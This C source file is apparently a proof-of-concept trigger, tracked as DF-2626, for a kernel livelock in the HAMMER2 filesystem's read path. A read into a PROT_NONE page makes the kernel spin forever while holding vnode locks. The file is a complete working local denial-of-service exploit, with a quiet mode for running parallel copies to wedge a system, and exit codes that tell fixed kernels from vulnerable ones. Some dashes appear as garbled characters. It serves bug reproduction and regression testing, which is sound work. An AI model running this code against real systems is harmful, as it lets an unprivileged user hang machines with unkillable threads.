DF-2626 / poc.c
/* * DF-2626 โ hammer2_read_file() livelock PoC (trigger). * * hammer2_vnops.c:983 discards the return value of uiomovebp(). When the * destination user page faults on the FIRST byte, uiomove() * (kern/kern_subr.c:148-153) returns EFAULT WITHOUT advancing * uio_resid/uio_offset. The loop condition at hammer2_vnops.c:926 * (uio->uio_resid > 0 && uio->uio_offset < size) therefore never changes * and never re-checks `error` -> infinite in-kernel spin, thread holds the * vnode lock SH + ip->truncate_lock SH, never sleeps -> unkillable. * * We guarantee a fault at byte 0 by mapping the read destination * PROT_NONE at a fixed address. * * Usage: ./poc [/etc/rc] (single spinning reader) * ./poc -q (quiet: for parallel wedge test) * Exit: 0 with "read returned -1 errno=14" -> NOT vulnerable (fixed) * never returns -> live bug (livelock) */ #include <sys/mman.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BADADDR ((void *)0x10000000) int main(int argc, char **argv) { const char *path = (argc > 1 && argv[1][0] != '-') ? argv[1] : "/etc/rc"; int quiet = (argc > 1 && strcmp(argv[1], "-q") == 0); void *bad; int fd; ssize_t r; fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return (2); } bad = mmap(BADADDR, 4096, PROT_NONE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (bad != BADADDR) { perror("mmap"); return (2); } if (!quiet) { printf("DF-2626: fd=%d dest=%p (PROT_NONE) len=4096 " "โ calling read(), bug = never returns\n", fd, BADADDR); fflush(stdout); } r = read(fd, BADADDR, 4096); /* live bug: spins forever */ /* Fixed kernel: copyout faults at byte 0 -> EFAULT immediately */ if (!quiet) printf("DF-2626: read returned %zd errno=%d (%s) โ " "bug NOT reproduced\n", r, errno, strerror(errno)); return ((r == -1 && errno == EFAULT) ? 0 : 1); } |